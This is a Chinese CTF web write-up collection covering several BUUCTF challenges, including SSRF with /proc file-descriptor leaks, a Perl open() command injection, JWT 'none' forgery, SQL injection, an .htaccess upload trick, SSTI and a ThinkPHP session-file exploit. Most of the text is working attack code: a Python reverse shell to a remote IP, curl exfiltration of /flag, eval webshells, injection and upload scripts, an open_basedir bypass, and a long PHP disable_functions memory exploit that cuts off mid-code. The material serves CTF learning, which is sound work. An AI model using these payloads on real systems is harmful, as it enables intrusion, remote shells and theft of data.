1 2 3 4 import urlliburl = "/etc/passwd" res = urllib.urlopen(url) print(res.read())
python3
1 2 3 4 import urllib.request url="file:///etc/passwd" res = urllib.request .urlopen (url)print (res.read() )
只有一个输入框,随便提交一个数据后会跳转到page页面,参数名为url,通过输入网址可以以beautiful.jpg返回网址的源码 为了方便,这里用burp 多次尝试读取文件的方法,最后发现直接输入路径即可(这里印证了可能是python2的urllib的urlopen) 非预期解是在这里直接读/flag,可以直接读出来
proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。 还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link
在/proc文件系统中,每一个进程都有一个相应的文件。下面是/proc目录下的一些重要文件,pid是进程的标号:
/proc/pid/cmdline 是一个只读文件,包含进程的完整命令行信息
/proc/pid/cwd 包含了当前进程工作目录的一个链接
/proc/pid/environ 包含了可用进程环境变量的列表
/proc/pid/exe 包含了正在进程中运行的程序链接
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接
/proc/pid/mem 包含了进程在内存中的内容
/proc/pid/stat 包含了进程的状态信息
/proc/pid/statm 包含了进程的内存使用信息
简析Linux中 /proc/[pid] 目录的各文件 /proc/self表示当前进程目录 输入/proc/self/cmdline 读一下app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, Response from flask import render_template from flask import request import os import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f .read ().strip() os.remove (SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page(): url = request.args .get ("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res .read () response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html' , res =value) @app.route('/no_one_know_the_manager' ) def manager(): key = request.args .get ("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args .get ("shell" ) os.system (shell ) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
路由/no_one_know_the_manager页面下接收key和shell参数,要求key == SECRET_KEY os.system(shell)可以执行我们的命令
先看这一段代码
1 2 3 4 SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE)
secret.txt访问不了
f=open(SECRET_FILE)这句话说明这个文件是被open函数打开的,所以会创建文件描述符。程序读取完SECRET_KEY会删除/tmp/secret.txt,linux系统有个特性,如果一个程序打开了一个文件没有关闭 ,即便从外部(如os.remove(SECRET_FILE))删除之后,在/proc这个进程的pid目录下的fd文件描述符目录下还是会有这个文件的fd,通过这个我们即可得到被删除文件的内容。 文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。
fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容
查看指定进程打开的某个文件的内容。加上那个数字即可,用burp爆破最后的数字,看哪个数字的文件夹存在内容文件描述符(File Descriptor)简介 输入/proc/self/fd/3
1 8 YzXsu0k55QR1Oxm/j0xigou1NTWQOx8tQ4mxFhKBKo=
这就是密钥,有特殊字符,url编码一下。 这里发现shell执行的命令并不会返回结果,所以使用反弹shell 这里我用的自己的aliyun服务器 先在安全组开放一个端口
1 2 3 4 5 6 开启端口 firewall-cmd --zone =public --add-port =8888 /tcp --permanent 重启防火墙 systemctl restart firewalld.service 查看开启的端口 firewall-cmd --list-ports
输入命令 nc -lvvp 8888
这里使用python脚本反弹
1 python -c 'import socket ,subprocess,os;s=socket .socket (socket .AF_INET,socket .SOCK_STREAM);s.connect(("1.1.1.1" ,8888 ));os.dup2(s.fileno(),0 ); os.dup2(s.fileno(),1 ); os.dup2(s.fileno(),2 );p=subprocess.call(["/bin/sh" ,"-i" ]);'
同样url加密下
或是curl反弹shell nc监听8888
1 shell =curl ip:port/`ls /|base64 `
1 shell =curl ip:port/`cat /flag|base64 `
[HITCON 2017]SSRFme 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ?php if (isset($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode(',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0]; } echo $_SERVER ["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec("GET " . escapeshellarg($_GET ["url" ])); $info = pathinfo($_GET ["filename" ]); $dir = str_replace("." , "" , basename ($info ["dirname" ])); @mkdir ($dir ); @chdir ($dir ); @file_put_contents(basename ($info ["basename" ]), $data ); highlight_file(__FILE__);
第一个if是获取你的ip,这个用xff改为127.0.0.1,不改也行 $sandbox是把orange和IP连接在一起MD5加密 mkdir()创建文件 chdir()改变当前目录 shell_exec类似system命令执行 pathinfo()函数就是将传入的路径”字典化” 举个栗子
1 2 3 4 5 6 7 <?php $info = pathinfo ($_GET ["filename" ]);var_dump ($info ); 输出->array (4 ) { ["dirname" ]=> string (40 ) "/sanbox/cfbb870b58817bf7705c0bd826e8dba7" ["basename" ]=> string (7 ) "666.php" ["extension" ]=> string (3 ) "php" ["filename" ]=> string (3 ) "666" }
再理解一下shell_exec里的GET,这里的GET不是我们平常的GET方式传参,这里的GET是Lib for www in perl中的命令,目的是模拟http的GET请求,GET函数底层就是调用了open处理 这里用kali了解一下GET 这里GET一个根目录,功能类似于ls把它给列出来 可以读取文件
open漏洞
在perl语言中,open函数存在命令执行漏洞;如果open文件名中存在管道符(也叫或符号|),就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。本题中调用了GET函数,而GET函数底层调用了open函数,故存在漏洞。
主要函数和漏洞了解完,就开始做题了 先看下根目录
1 2 3 ?url=/&filename=666 然后进入/sandbox/ cfbb870b58817bf7705c0bd826e8dba7/666
根目录中存在flag和readflag 读一下
1 2 3 4 ?url =/flag&filename=666 啥也没有 ?url =/readflag&filename=666 下载了一个二进制文件
应该是需要运行readflag来读flag的脚本,现在想方法执行它。 GET使用file协议的时候会调用perl中的open函数 所以我们这题利用file绕过 本题有三种做法
SSRF配合伪协议 file_put_contents函数使用data伪协议控制其内容,这里通过GET后加data伪协议实现写马 写入的文件名称后缀可以是php,所以直接访问sandbox中的php文件,蚁剑连接。运行根目录的readflag payload
1 ?url=data:text/plain,' <?php @eval ($_POST [a]);?> '&filename=test.php
连接中国蚁剑 在根目录运行readflag
perl语言漏洞 因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符 (并且系统中存在该文件名 ),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。
所以先创建和readflag同名的文件
1 ?url =&filename=|/readflag
再执行命令
1 ?url =file:|/readflag&filename=999
bash-c方法 和上一个相同,bash -c就是将目标当作可执行文件运行
1 ?url =&filename=|bash -c /readflag
1 ?url =file:|bash -c /readflag&filename =000
[b01lers2020]Welcome to Earth 打开环境,发现图片会自动切换为新的页面/die /die页面没什么信息 看原页面源代码找到js代码 第一个if捕获你的按键值,27为的ascii对应的为ESC,也就是按一下ESC进入if语句内 其实不按ESC也行它给了目录,直接进入即可。。。。 进入/chase/ 进入/leftt/ 进入/shoot/ /door/ 这么多门,哈人,找到js文件 /open/ /fight/ 唯一有难点的地方,想了半天key值能是什么,然后一看这么点词随便就组个句子🤣 hey boys i am back!
1 pctf {hey_boys_im_baaaaaaaaaack!}
这里python能写一个脚本
1 2 3 4 5 6 7 8 9 10 from itertools import permutations flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations (flag)for i in item: #通过 for 循环迭代每个排列。 k = '' .join (list (i)) if k.startswith ('pctf{hey_boys' ) and k[-1] == '}' : print (k)
先看permutations是什么 permutations函数返回的是可迭代元素中的一个排列组合(全排列)。
将当前排列 i 转换为字符串,并将结果赋值给变量 k。这里使用了 join 方法来连接排列中的字符串。 join方法通过在内部优化实现,能够更有效地处理字符串连接,尤其是在循环中连接多个字符串时。它通过一次性 连接所有元素,而不是多次创建新的中间字符串,从而提高性能。
当if条件不成立时,k的值不会在下一个循环中被保留。每次迭代开始时,都会重新计算k的值,因为它是在for循环中的赋值语句k = ‘’.join(list(i))中生成的。
1 if k.startswith ('pctf{hey_boys' ) and k[-1] == '}'
检查字符串k是否以’pctf{hey_boys’ 开头且以 ‘}’ 结尾。
[HFCTF2020]EasyLogin 需要登录,也有注册功能 先不管它,看看源码 找到/static/js/app.js文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function login ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); const token = sessionStorage.getItem ("token" ); $.post ("/api/login" , {username, password, authorization :token}) .done (function (data ) { const {status} = data; if (status) { document .location = "/home" ; } }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }function register ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); $.post ("/api/register" , {username, password}) .done (function (data ) { const { token } = data; sessionStorage.setItem ('token' , token); document .location = "/login" ; }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }function logout ( ) { $.get ('/api/logout' ).done (function (data ) { const {status} = data; if (status) { document .location = '/login' ; } }); }function getflag ( ) { $.get ('/api/flag' ).done (function (data ) { const {flag} = data; $("#username" ).val (flag); }).fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }
看了下,是注册登录的功能,感觉没有获得flag的点
先注册登录,并抓包 base64解码一下 验证方式采用的是JWT JWT有漏洞可以利用 这里放到官网看看https://jwt.io/ 感觉和[CISCN2019 华北赛区 Day1 Web2]ikun题差不多 用c-jwt-cracker 爆个密钥 等了30分钟,嗯是爆不出来 又去查了查 报不出来应该是这个原因
1 2 3 4 5 JWT 的密钥爆破需要在一定的前提下进行: 知悉JWT使用的加密算法 一段有效的、已签名的token 签名用的密钥不复杂(弱密钥)
可能是密钥太复杂了叭😿JWT攻击学习
查看wp发现app.js里说明了所用框架koa koa目录的基本结构 这里大佬们按照koa框架的常见结构去获取下控制器文件的源码
访问一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError; module.exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request.body; if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); } if (global .secrets.length > 100000 ) { global .secrets = []; } const secret = crypto.randomBytes (18 ).toString ('hex' ); const secretid = global .secrets.length; global .secrets.push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest ({ token : token }); await next (); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request.body; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse (Buffer.from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid; console.log (sid) if (sid === undefined || sid === null || !(sid < global .secrets.length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets[sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password; if (status) { ctx.session.username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session.username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); }, 'GET /api/logout' : async (ctx, next) => { ctx.session.username = null ; ctx.rest ({ status : true }) await next (); } };
空加密算法 JWT支持使用空加密算法,可以在header中指定alg为None
将secret置空。利用node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证
因为alg为none,所以只要把signature设置为空(即不添加signature字段),提交到服务器,token都可以通过服务器的验证
生成JWT /api/flag路径校验为admin用户才会返回flag,而登录验证方式采用的是JWT,所以可以尝试对JWT进行破解修改。并且生成JWT是用HS256加密,可以把它改为None来进行破解。标题中的alg字段更改为none,有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证,此外对于本题中验证采用的密钥secret值也需要为空或者underfined,否则还是会触发验证,js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined) 这里需要一个python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import jwt token_dict = { "secretid" : [], "username" : "admin" , "password" : "123" , "iat" : 1710510302 } headers = { "alg" : "none" , "typ" : "JWT" }jwt_token = jwt.encode(token_dict, "" , algorithm="none" , headers=headers ) print(jwt_token)
生成后替换原有的 然后进入/api/flag找到flag
[CISCN2019 总决赛 Day2 Web1]Easyweb 进入环境,发现只有登录界面,没有找到注册 那么大概就是sql注入了
注入没反应 源码也啥也没找到 上dirsearch 扫到robots.txt 不知道为什么这里的robots.txt内容为/static/secretkey.txt 看了题解,robots.txt里的内容应该是 题目描述里提供了源码GitHub链接 GitHub里的源码也是一样 这里不太懂为什么会这样 把dirsearch扫到的几个php文件都试一遍 最后在访问image.php.bak时成功下载文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include "config.php" ;$id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes ($id );$path =addslashes ($path );$id =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query ($con ,"select * from images where id='{$id} ' or path='{$path} '" );$row =mysqli_fetch_array ($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header ("Content-Type: image/jpeg" );readfile ($path );
addslashes()函数
str_replace将\0,%00,\‘,”‘“替换成空(前面第一个\是用来转义的,使其不被解释为其原始含义,而是作为普通字符处理)。
因为要SQL注入,所以要破开引号,但是引号被转义。若是当我输入”?id=\0”,经过addslashes()–>”?id=\0”再经过str_replace–>”?id=",SQL语句就变为
1 select * from images where id='\' or path ='{$path}'
这样由于\右边的单引号被转义,导致原有的SQL语句引号闭合发生错误。实际上id=' or path=。现在我们可以对path进行sql注入
1 2 3 ?id =\0&path=or 1 =1# select * from images where id ='\' or path ='or 1=1%23'
确定了SQL注入的姿势,写好脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests url = "http://db4624a1-f8f4-48f5-8a2c-1936066abc00.node5.buuoj.cn:81/image.php" result = '' i = 0 while 1 : i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) payload = f'?id=\\0&path=or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23' r = requests.get (url=url + payload) if 'JFIF' in r.text : low = mid + 1 else : high = mid if low != 32 : result += chr(low) print(result ) else : break
爆出账号密码 登录后跳转到一个新的页面 文件上传,试下文件上传的漏洞 先随便上传一个文件 找到上传路径 进入路径发现会将文件名写进日志,而且日志还是php文件 把文件名写为一句话木马 不能上传php文件 我们改一下一句话木马 成功上传 看样子php语句写进去了 直接命令执行
1 2 3 a =system('ls' )a =system('ls /' )a =system('cat /flag' )
这里有大佬用其它方法做的,直接算出admin的cookie🥶传送门
[SUCTF 2019]EasyWeb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag ( ) { $userdir = "upload/tmp_" .md5 ($_SERVER ['REMOTE_ADDR' ]); if (!file_exists ($userdir )){ mkdir ($userdir ); } if (!empty ($_FILES ["file" ])){ $tmp_name = $_FILES ["file" ]["tmp_name" ]; $name = $_FILES ["file" ]["name" ]; $extension = substr ($name , strrpos ($name ,"." )+1 ); if (preg_match ("/ph/i" ,$extension )) die ("^_^" ); if (mb_strpos (file_get_contents ($tmp_name ), '<?' )!==False) die ("^_^" ); if (!exif_imagetype ($tmp_name )) die ("^_^" ); $path = $userdir ."/" .$name ; @move_uploaded_file ($tmp_name , $path ); print_r ($path ); } }$hhh = @$_GET ['_' ];if (!$hhh ){ highlight_file (__FILE__ ); }if (strlen ($hhh )>18 ){ die ('One inch long, one inch strong!' ); }if ( preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh ) ) die ('Try something else!' );$character_type = count_chars ($hhh , 3 );if (strlen ($character_type )>12 ) die ("Almost there!" );eval ($hhh );?>
先不看这个函数,我们要绕过这个正则表达式,且不能超过18个字节,那么可以使用异或或者取反,在这题里取反符~被过滤了,所以我们用异或,这里搞到大佬写的脚本 异或脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function finds ($string ) { $index = 0 ; $a =[33 ,35 ,36 ,37 ,40 ,41 ,42 ,43 ,45 ,47 ,58 ,59 ,60 ,62 ,63 ,64 ,92 ,93 ,94 ,123 ,125 ,128 ,129 ,130 ,131 ,132 ,133 ,134 ,135 ,136 ,137 ,138 ,139 ,140 ,141 ,142 ,143 ,144 ,145 ,146 ,147 ,148 ,149 ,150 ,151 ,152 ,153 ,154 ,155 ,156 ,157 ,158 ,159 ,160 ,161 ,162 ,163 ,164 ,165 ,166 ,167 ,168 ,169 ,170 ,171 ,172 ,173 ,174 ,175 ,176 ,177 ,178 ,179 ,180 ,181 ,182 ,183 ,184 ,185 ,186 ,187 ,188 ,189 ,190 ,191 ,192 ,193 ,194 ,195 ,196 ,197 ,198 ,199 ,200 ,201 ,202 ,203 ,204 ,205 ,206 ,207 ,208 ,209 ,210 ,211 ,212 ,213 ,214 ,215 ,216 ,217 ,218 ,219 ,220 ,221 ,222 ,223 ,224 ,225 ,226 ,227 ,228 ,229 ,230 ,231 ,232 ,233 ,234 ,235 ,236 ,237 ,238 ,239 ,240 ,241 ,242 ,243 ,244 ,245 ,246 ,247 ,248 ,249 ,250 ,251 ,252 ,253 ,254 ,255 ]; for ($i =27 ;$i <count ($a );$i ++){ for ($j =27 ;$j <count ($a );$j ++){ $x = $a [$i ] ^ $a [$j ]; for ($k = 0 ;$k <strlen ($string );$k ++){ if (ord ($string [$k ]) == $x ){ echo $string [$k ]."\n" ; echo '%' . dechex ($a [$i ]) . '^%' . dechex ($a [$j ])."\n" ; $index ++; if ($index == strlen ($string )){ return 0 ; } } } } } }finds ("_GET" );?>
关于异或绕过
1 php的eval ()函数在执行时如果内部有类似"abc" ^"def" 的计算式,那么就先进行计算再执行。例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval ()函数内部就会变成${_GET}{?}();成功执行。
详细看Hanamizuki花水木php异或计算绕过preg_match
我们构造出payload
1 2 ?_ =${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo //相当于${_GET}{%86}(),这里phpinfo的括号是在前面
非预期解
预期解 先看一下disable_functions,发现ban了很多命令执行函数system、exec等
我们从get_the_flag()上手, 函数是上传文件,且对后缀名进行了过滤,不能上传有ph的后缀文件,phtml,php等也不能上传了,可以考虑.htaccess和.user.ini,不过这里.user.ini好像不行,对内容进行了过滤,不能包含<?,由于这里版本过高,所以无法使用 这里的解决方法是将一句话木马进行base64编码,然后再.htaccess中利用php伪协议进行解码,还有个文件头检测,一般都用GIF89a进行绕过,但这里会出现问题,.htaccess文件会无法生效,我们可以使用#define width 1337 #define height 1337进行绕过,#在.htaccess中表示注释 比较完全的htaccess解释Apache的.htaccess利用技巧 所以我们的.htaccess文件内容如下
1 2 3 4 #define width 1337 #define height 1337 AddType application/x-httpd-php .ahhh #对.ahhh后缀的文件作为php文件执行 php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
shell.ahhh
1 2 GIF89a12 #12 是为了补足8 个字节,满足base64编码的规则,4 的倍数PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs /Pg==
上传脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests import base64 htaccess = b"" " #define width 1337 #define height 1337 AddType application/x-httpd-php .ahhh php_value auto_append_file " php:"" " shell = b" GIF89a12" + base64.b64encode(b" <?php eval ($_REQUEST ['cmd' ]);?> ") url = " http: files = {'file' :('.htaccess' ,htaccess,'image/jpeg' )} data = {"upload" :"Submit" } response = requests.post (url=url, data=data, files=files)print (response.text) files = {'file' :('shell.ahhh' ,shell,'image/jpeg' )} response = requests.post (url=url, data=data, files=files)print (response.text)
python的requests发送/上传多个文件
得到路径 连一下蚁剑 很意外的是我可以直接访问根目录,且能读取到flag的值 在php配置里可以看到 我们只能访问/html下和/tmp下的文件 这里我们需要绕过open_basedir 参考bypass open_basedir的新方法
直接用它的代码
1 chdir ('img');ini_set ('open_basedir','..');chdir ('..');chdir ('..');chdir ('..');chdir ('..');ini_set ('open_basedir','/');var_dump (scandir("/"));
得到
在读取
1 chdir ('img' );ini_set('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set('open_basedir' ,'/' );echo (file_get_contents('/THis_Is_tHe_F14g' ));
获得flag
1 flag {44 ad039b-8376 -46 ac-ba89-405 bec17ded2}
[CISCN2019 华东南赛区]Double Secret 进入环境 题目让我们找secret,先robots.txt找一找 It is Android ctf 不知道什么意思,那么试试进入secret路径下 Tell me your secret.I will encrypt it so others can’t see 还要secret,那么给它一个secret参数 输入0,1,2页面显示不同的字符 刚开始还以为是什么规律 随便输入一个长一点的数字或字符 报错了,但也暴露了部分源码,可以看到是flask,python版本是2.7 找到加深的一段代码 为RC4加密算法,密钥泄露了,将所发送内容解密之后会被渲染,考虑到存在模板注入 找一个RC4加密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import base64 from urllib.parse import quote def rc4_main(key = "init_key" , message = "init_message" ): # print ("RC4加密主函数" ) s_box = rc4_init_sbox(key ) crypt = str(rc4_excrypt(message, s_box)) # print (crypt) return crypt def rc4_init_sbox(key ): s_box = list(range (256 )) # print ("原来的 s 盒:%s" % s_box) j = 0 for i in range (256 ): j = (j + s_box[i] + ord(key [i % len(key )])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] # print ("混乱后的 s 盒:%s" % s_box) return s_box def rc4_excrypt(plain, box ): # print ("调用加密程序成功。" ) res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box [i]) % 256 box [i], box [j] = box [j], box [i] t = (box [i] + box [j]) % 256 k = box [t] res.append (chr(ord(s) ^ k)) cipher = "" .join (res) print ("加密后的字符串是:%s" %quote(cipher)) return (str(base64 .b64encode(cipher.encode('utf-8 ')), 'utf-8 ')) rc4_main("HereIsTreasure" ,"{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag.txt').read()}}" )
加密有点捉不住头脑,看了一下,这个解释的比较清晰RC4加密算法
提交后就可以获取flag了
[GYCTF2020]EasyThinking 有注册登录功能,先怀疑一下xss,试试xss语句
注册一下,弹出报错信息告诉是thinkphp框架6.0版本
搜一下发现这个版本有一个任意文件操作漏洞
这个框架还有很多其它的漏洞
可用dirsearch扫出www.zip
源码泄露 在app/home/controller/Member.php中找到网站功能的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ......<以上代码省略>public function search ( ) { if (Request ::isPost ()){ if (!session ('?UID' )) { return redirect ('/home/member/login' ); } $data = input ("post." ); $record = session ("Record" ); if (!session ("Record" )) { session ("Record" ,$data ["key" ]); } else { $recordArr = explode ("," ,$record ); $recordLen = sizeof ($recordArr ); if ($recordLen >= 3 ){ array_shift ($recordArr ); session ("Record" ,implode ("," ,$recordArr ) . "," . $data ["key" ]); return View ::fetch ("result" ,["res" => "There's nothing here" ]); } } session ("Record" ,$record . "," . $data ["key" ]); return View ::fetch ("result" ,["res" => "There's nothing here" ]); }else { return View ("search" ); } } }
根据ThinkPHP6.0.0版本的漏洞成因,得出这是一个由于不安全的SessionId导致的任意文件操作漏洞 漏洞利用的方法是:构造PHPSESSID的值,且后缀为php,总共32位 先注册 用burp抓取,修改PHPSESSID的值 登录 本题中,搜素的内容直接被写入了SESSION
1 session("Record" ,implode("," ,$recordArr ) . "," . $data ["key" ]);
所以我们在搜索框写入shell 提交完shell内容后可以在/runtime/session/sess_1234567890123456789012345678.php中得到我们的shell 发现一些重要函数被禁了 连接蚁剑 flag为空,那么就要用readflag读取flag 没有权限,用蚁剑里的插件disable_functions绕过 这个就刚刚好 加载插件就可以执行命令了
还有一种方法是上传exp 找到PHP7.0-7.4版本的突破disable_function的exp 把执行的命令修改为/readflag,然后将exp上传至shell中即可获得flag在蚁剑中找个能上传文件的地方,比如/var/tmp中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 <?php pwn ("/readflag" ); function pwn ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 